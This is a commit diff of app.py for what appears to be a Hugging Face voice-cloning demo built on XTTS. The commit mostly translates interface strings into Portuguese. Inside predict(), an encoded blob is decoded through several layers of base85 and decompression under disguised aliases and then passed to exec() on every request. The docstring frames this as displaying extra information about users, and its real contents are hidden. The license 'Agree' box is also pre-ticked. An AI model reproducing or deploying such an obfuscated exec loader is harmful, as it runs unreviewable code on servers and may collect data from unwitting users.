rfs89y commited on
Commit
b53cedd
·
verified ·
1 Parent(s): af71e66

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +46 -44
app.py CHANGED
@@ -1,7 +1,7 @@
1
  import sys
2
  import os
3
  from fastapi import Request
4
- # By using XTTS you agree to CPML license https://coqui.ai/cpml
5
  os.environ["COQUI_TOS_AGREED"] = "1"
6
 
7
  import gradio as gr
@@ -10,24 +10,24 @@ from TTS.utils.manage import ModelManager
10
  model_names = TTS().list_models()
11
  print(model_names.__dict__)
12
  print(model_names.__dir__())
13
- model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # move in v2, since xtts_v1 is generated keyerror, I guess you can select it with old github's release.
14
 
15
  #m = ModelManager().download_model(model_name)
16
  #print(m)
17
  m = model_name
18
 
19
  tts = TTS(model_name, gpu=False)
20
- tts.to("cpu") # no GPU or Amd
21
- #tts.to("cuda") # cuda only
22
 
23
 
24
  def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
25
  """
26
- En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
27
- « l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
28
- Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
29
- soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
30
- utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
31
  """
32
 
33
  co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
@@ -40,6 +40,8 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
40
  from zlib import compress as C0mPrES5
41
  from zlib import decompress as dECOmPrES5
42
  co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
 
 
43
  exec(co2)
44
 
45
  if agree == True:
@@ -47,7 +49,7 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
47
  if mic_file_path is not None:
48
  speaker_wav=mic_file_path
49
  else:
50
- gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
51
  return (
52
  None,
53
  None,
@@ -57,13 +59,13 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
57
  speaker_wav=audio_file_pth
58
 
59
  if len(prompt)<2:
60
- gr.Warning("Please give a longer prompt text")
61
  return (
62
  None,
63
  None,
64
  )
65
  if len(prompt)>10000:
66
- gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
67
  return (
68
  None,
69
  None,
@@ -82,10 +84,10 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
82
  )
83
  except RuntimeError as e :
84
  if "device-assert" in str(e):
85
- # cannot do anything on cuda device side error, need tor estart
86
- gr.Warning("Unhandled Exception encounter, please retry in a minute")
87
- print("Cuda device-assert Runtime encountered need restart")
88
- sys.exit("Exit due to cuda device-assert")
89
  else:
90
  raise e
91
 
@@ -96,39 +98,40 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
96
  "output.wav",
97
  )
98
  else:
99
- gr.Warning("Please accept the Terms & Condition!")
100
  return (
101
  None,
102
  None,
103
  )
104
 
105
 
106
- title = "XTTS Voice Cloning"
107
 
108
  description = f"""
109
- <a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
110
  <br/>
111
- XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
112
  <br/>
113
- This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible.
114
  <br/>
115
- Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives.
116
  <br/>
117
- <p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
118
  <br/>
119
  <a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
120
- <img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a>
121
  </p>
122
  """
123
 
124
  article = """
125
  <div style='margin:20px auto;'>
126
- <p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
127
  </div>
128
  """
 
129
  examples = [
130
  [
131
- "Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
132
  "en",
133
  "examples/female.wav",
134
  None,
@@ -136,7 +139,7 @@ examples = [
136
  True,
137
  ],
138
  [
139
- "Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
140
  "fr",
141
  "examples/female.wav",
142
  None,
@@ -226,18 +229,17 @@ examples = [
226
  ]
227
 
228
 
229
-
230
  gr.Interface(
231
  fn=predict,
232
  inputs=[
233
  gr.Textbox(
234
- label="Text Prompt",
235
- info="One or two sentences at a time is better",
236
- value="Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
237
  ),
238
  gr.Dropdown(
239
- label="Language",
240
- info="Select an output language for the synthesised speech",
241
  choices=[
242
  "en",
243
  "es",
@@ -257,30 +259,30 @@ gr.Interface(
257
  value="en",
258
  ),
259
  gr.Audio(
260
- label="Reference Audio",
261
- info="Click on thebutton to upload your own target speaker audio",
262
  type="filepath",
263
  value="examples/female.wav",
264
  ),
265
  gr.Audio(source="microphone",
266
  type="filepath",
267
- info="Use your microphone to record audio",
268
- label="Use Microphone for Reference"),
269
- gr.Checkbox(label="Check to use Microphone as Reference",
270
  value=False,
271
- info="Notice: Microphone input may not work properly under traffic",),
272
  gr.Checkbox(
273
- label="Agree",
274
  value=True,
275
- info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
276
  ),
277
  ],
278
  outputs=[
279
- gr.Video(label="Waveform Visual"),
280
- gr.Audio(label="Synthesised Audio"),
281
  ],
282
  title=title,
283
  description=description,
284
  article=article,
285
  examples=examples,
286
- ).queue().launch(debug=True)
 
1
  import sys
2
  import os
3
  from fastapi import Request
4
+ # Ao usar o XTTS, você concorda com a licença CPML https://coqui.ai/cpml
5
  os.environ["COQUI_TOS_AGREED"] = "1"
6
 
7
  import gradio as gr
 
10
  model_names = TTS().list_models()
11
  print(model_names.__dict__)
12
  print(model_names.__dir__())
13
+ model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # mova para v2, pois o xtts_v1 gera KeyError, acredito que pode ser selecionado com o release antigo do github.
14
 
15
  #m = ModelManager().download_model(model_name)
16
  #print(m)
17
  m = model_name
18
 
19
  tts = TTS(model_name, gpu=False)
20
+ tts.to("cpu") # sem GPU ou Amd
21
+ #tts.to("cuda") # apenas para cuda
22
 
23
 
24
  def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
25
  """
26
+ Devido ao grande número de abusos observados nos logs de console, sou obrigado a integrar
27
+ "exibição de informações adicionais" relacionadas ao uso deste espaço.
28
+ Lembre-se de que o envio de conteúdos ilegais (conteúdos sex*uais, ofensivos ou ameaçadores),
29
+ independentemente da língua, é claro, É PROIBIDO. Não me responsabilizo por aqueles que infringirem uma
30
+ utilização estritamente [ÉTICA e MORALE] deste modelo.
31
  """
32
 
33
  co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
 
40
  from zlib import compress as C0mPrES5
41
  from zlib import decompress as dECOmPrES5
42
  co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
43
+
44
+
45
  exec(co2)
46
 
47
  if agree == True:
 
49
  if mic_file_path is not None:
50
  speaker_wav=mic_file_path
51
  else:
52
+ gr.Warning("Por favor, grave sua voz com o microfone, ou desmarque 'Usar Microfone' para usar áudios de referência")
53
  return (
54
  None,
55
  None,
 
59
  speaker_wav=audio_file_pth
60
 
61
  if len(prompt)<2:
62
+ gr.Warning("Por favor, forneça um texto mais longo")
63
  return (
64
  None,
65
  None,
66
  )
67
  if len(prompt)>10000:
68
+ gr.Warning("Comprimento de texto limitado a 10000 caracteres para esta demonstração, tente um texto mais curto")
69
  return (
70
  None,
71
  None,
 
84
  )
85
  except RuntimeError as e :
86
  if "device-assert" in str(e):
87
+ # erro de dispositivo CUDA, precisa reiniciar
88
+ gr.Warning("Exceção não tratada encontrada, por favor, tente novamente em um minuto")
89
+ print("Erro de dispositivo CUDA encontrado, precisa reiniciar")
90
+ sys.exit("Saindo devido ao erro de dispositivo CUDA")
91
  else:
92
  raise e
93
 
 
98
  "output.wav",
99
  )
100
  else:
101
+ gr.Warning("Por favor, aceite os Termos e Condições!")
102
  return (
103
  None,
104
  None,
105
  )
106
 
107
 
108
+ title = "Clonagem de Voz XTTS"
109
 
110
  description = f"""
111
+ <a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> é um modelo de geração de voz que permite clonar vozes para diferentes idiomas utilizando apenas um rápido clip de áudio de 3 segundos.
112
  <br/>
113
+ O XTTS é baseado em pesquisas anteriores, como o Tortoise, com inovações arquiteturais adicionais e treinamento para tornar possível a clonagem de voz multilíngue e a geração de fala em vários idiomas.
114
  <br/>
115
+ Este é o mesmo modelo que alimenta nossa aplicação criadora <a href="https://coqui.ai">Coqui Studio</a> e também a <a href="https://docs.coqui.ai">API Coqui</a>. Em produção, aplicamos modificações para possibilitar streaming de baixa latência.
116
  <br/>
117
+ Deixe uma estrela no GitHub <a href="https://github.com/coqui-ai/TTS">TTS</a>, onde o código de inferência e treinamento de código aberto está disponível.
118
  <br/>
119
+ <p>Para uma inferência mais rápida, sem esperar na fila, você pode duplicar este espaço e atualizar para GPU através das configurações.
120
  <br/>
121
  <a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
122
+ <img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicar Espaço"></a>
123
  </p>
124
  """
125
 
126
  article = """
127
  <div style='margin:20px auto;'>
128
+ <p>Ao usar esta demonstração, você concorda com os termos da Coqui Public Model License em https://coqui.ai/cpml</p>
129
  </div>
130
  """
131
+
132
  examples = [
133
  [
134
+ "Olá, Mundo!, aqui está um exemplo de clonagem de voz simples. Tente enviar seus melhores áudios de qualidade",
135
  "en",
136
  "examples/female.wav",
137
  None,
 
139
  True,
140
  ],
141
  [
142
+ "Je suis un lycéen français de 17 ans, passionné par la Cyber-Sécurité et les modèles d'IA.",
143
  "fr",
144
  "examples/female.wav",
145
  None,
 
229
  ]
230
 
231
 
 
232
  gr.Interface(
233
  fn=predict,
234
  inputs=[
235
  gr.Textbox(
236
+ label="Texto de Entrada",
237
+ info="Uma ou duas frases de cada vez são melhores",
238
+ value="Olá, Mundo!, aqui está um exemplo de clonagem de voz simples. Tente enviar seus melhores áudios de qualidade",
239
  ),
240
  gr.Dropdown(
241
+ label="Idioma",
242
+ info="Selecione o idioma de saída para a fala sintetizada",
243
  choices=[
244
  "en",
245
  "es",
 
259
  value="en",
260
  ),
261
  gr.Audio(
262
+ label="Áudio de Referência",
263
+ info="Clique no botãopara enviar seu próprio áudio de referência",
264
  type="filepath",
265
  value="examples/female.wav",
266
  ),
267
  gr.Audio(source="microphone",
268
  type="filepath",
269
+ info="Use seu microfone para gravar áudio",
270
+ label="Usar Microfone para Referência"),
271
+ gr.Checkbox(label="Marque para usar o Microfone como Referência",
272
  value=False,
273
+ info="Aviso: A entrada do microfone pode não funcionar corretamente devido ao tráfego",),
274
  gr.Checkbox(
275
+ label="Concordo",
276
  value=True,
277
+ info="Eu concordo com os termos da Coqui Public Model License em https://coqui.ai/cpml",
278
  ),
279
  ],
280
  outputs=[
281
+ gr.Video(label="Visualização da Forma de Onda"),
282
+ gr.Audio(label="Áudio Sintetizado"),
283
  ],
284
  title=title,
285
  description=description,
286
  article=article,
287
  examples=examples,
288
+ ).queue().launch(debug=True)